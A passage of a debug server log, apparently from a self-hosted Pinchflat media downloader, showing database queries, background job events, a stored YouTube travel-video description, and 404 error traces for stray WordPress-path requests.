= ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM!\n\nThis video marks the first in a 3 vid special. When I entered Afghanistan through Ubzekistan this month, I found a really interesting road on a map. So I decided to travel it. Of course it wasn't that simple! \n\nOnce upon a time, Afghanistan was the ultimate stop on the 1970s Hippie Trail. a place of freedom, music, and discovery. Fifty years later, I return to a country scarred by war and isolation, to see what’s left.\n\nenjoy, mike x\n\n--------\n\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #uzbekistan #travelblog \n\n🎵 Music licensed from Lickd. The biggest mainstream and stock music platform for content creators.\n\nSpirit In The Sky (Deluxe Edition) by Norman Greenbaum, https://t.lickd.co/bp0P2AmBQzA License ID: enDOb462m5Q\n\nIf you want to use music from famous artists, try Lickd to get track credits and unlimited stock music: https://go.lickd.co/soundtrack-your-videos", "Entering Taliban Controlled Afghanistan in 2025", "0fa771e9-4d83-426d-b899-2e74e7dde6e7", "qsNwYzAylcU", 2177, false, "https://www.youtube.com/watch?v=qsNwYzAylcU", 20, "/downloads/shows/Mike Okay/Season 2025/s2025e102400 - Entering Taliban Controlled Afghanistan in 2025.mp4", false, false, false, 3, [], 98, ~U[2025-10-24 16:01:41Z], ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM!\n\nThis video marks the first in a 3 vid special. When I entered Afghanistan through Ubzekistan this month, I found a really interesting road on a map. So I decided to travel it. Of course it wasn't that simple! \n\nOnce upon a time, Afghanistan was the ultimate stop on the 1970s Hippie Trail. a place of freedom, music, and discovery. Fifty years later, I return to a country scarred by war and isolation, to see what’s left.\n\nenjoy, mike x\n\n--------\n\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n\n--------\n\n#afghanistan #uzbekistan #travelblog \n\n🎵 Music licensed from Lickd. The biggest mainstream and stock music platform for content creators.\n\nSpirit In The Sky (Deluxe Edition) by Norman Greenbaum, https://t.lickd.co/bp0P2AmBQzA License ID: enDOb462m5Q\n\nIf you want to use music from famous artists, try Lickd to get track credits and unlimited stock music: https://go.lickd.co/soundtrack-your-videos", "Entering Taliban Controlled Afghanistan in 2025", "qsNwYzAylcU", 2177, false, "https://www.youtube.com/watch?v=qsNwYzAylcU", "/downloads/shows/Mike Okay/Season 2025/s2025e102400 - Entering Taliban Controlled Afghanistan in 2025.mp4", false, 3, ~U[2025-10-24 16:01:41Z]] 18:29:15.791 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z], 3] 18:29:15.792 [debug] QUERY OK source="media_items" db=0.4ms idle=2.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 18:29:15.793 [debug] QUERY OK source="media_items" db=0.3ms idle=2.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 18:29:15.793 [debug] QUERY OK source="media_items" db=0.1ms idle=2.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 18:29:15.794 [debug] QUERY OK source="tasks" db=0.1ms idle=1.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [17075, 3, ~U[2026-08-20 01:29:15Z], ~U[2026-08-20 01:29:15Z]] 18:29:15.794 [info] {"args":{"id":3},"id":17071,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":62400321,"event":"job:stop","queue_time":927811,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:29:17.568 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:47.570 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:00.126 [info] {"source":"oban","duration":273,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:30:17.572 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:47.574 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:00.127 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:31:17.576 [info] {"source":"oban","duration":1005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:47.578 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:00.128 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:32:17.580 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:47.582 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:00.129 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:33:17.584 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:47.462 [info] GET / 18:33:47.462 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 18:33:47.463 [debug] QUERY OK source="settings" db=0.1ms idle=774.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:33:47.463 [debug] QUERY OK source="media_profiles" db=0.0ms idle=774.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 18:33:47.463 [debug] QUERY OK source="sources" db=0.1ms idle=774.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 18:33:47.464 [debug] QUERY OK source="media_items" db=1.0ms idle=775.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:33:47.465 [debug] QUERY OK source="media_items" db=0.3ms idle=665.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:33:47.465 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:33:47.465 [debug] QUERY OK source="settings" db=0.0ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:33:47.466 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:33:47.467 [debug] QUERY OK source="tasks" db=0.1ms idle=2.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:33:47.467 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 18:33:47.468 [debug] QUERY OK source="media_items" db=0.3ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:33:47.468 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 18:33:47.471 [debug] QUERY OK source="media_items" db=1.3ms idle=3.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 18:33:47.472 [debug] QUERY OK source="media_items" db=0.8ms idle=4.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 18:33:47.472 [info] Sent 200 in 10ms 18:33:47.586 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:48.335 [info] GET /wp-json/ 18:33:48.336 [debug] QUERY OK source="settings" db=0.1ms idle=867.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:33:48.336 [debug] QUERY OK source="settings" db=0.1ms idle=865.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:33:48.336 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:33:48.337 [error] #PID<0.163426.0> running PinchflatWeb.Endpoint (connection #PID<0.163425.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /wp-json/ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-json (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163425.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 58048}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/json,application/rss+xml;q=0.9,*/*;q=0.8", "accept-encoding" => "identity", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36", "x-forwarded-for" => "46.232.235.133", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "46.232.235.133" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163426.0>, params: %{}, path_info: ["wp-json"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/json,application/rss+xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "identity"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"}, {"x-forwarded-for", "46.232.235.133"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "46.232.235.133"} ], request_path: "/wp-json/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1ff384X-7SPpoAC5OC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163425.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 58048}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/json,application/rss+xml;q=0.9,*/*;q=0.8", "accept-encoding" => "identity", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36", "x-forwarded-for" => "46.232.235.133", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "46.232.235.133" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-json (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163425.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-json/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 58048}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/json,application/rss+xml;q=0.9,*/*;q=0.8", "accept-encoding" => "identity", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36", "x-forwarded-for" => "46.232.235.133", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "46.232.235.133" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163426.0>, params: %{}, path_info: ["wp-json"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/json,application/rss+xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "identity"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x (truncated) 18:33:48.924 [info] GET /wp-login.php 18:33:48.924 [debug] QUERY OK source="settings" db=0.1ms idle=588.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:33:48.924 [debug] QUERY OK source="settings" db=0.1ms idle=588.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:33:48.925 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:33:48.925 [error] #PID<0.163428.0> running PinchflatWeb.Endpoint (connection #PID<0.163427.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /wp-login.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163427.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 58058}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/json,application/rss+xml;q=0.9,*/*;q=0.8", "accept-encoding" => "identity", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36", "x-forwarded-for" => "46.232.235.133", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "46.232.235.133" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163428.0>, params: %{}, path_info: ["wp-login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/json,application/rss+xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "identity"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"}, {"x-forwarded-for", "46.232.235.133"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "46.232.235.133"} ], request_path: "/wp-login.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1ff6JI8qi_NT4AC5Oi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163427.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-login.php", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 58058}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/json,application/rss+xml;q=0.9,*/*;q=0.8", "accept-encoding" => "identity", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36", "x-forwarded-for" => "46.232.235.133", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "46.232.235.133" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", 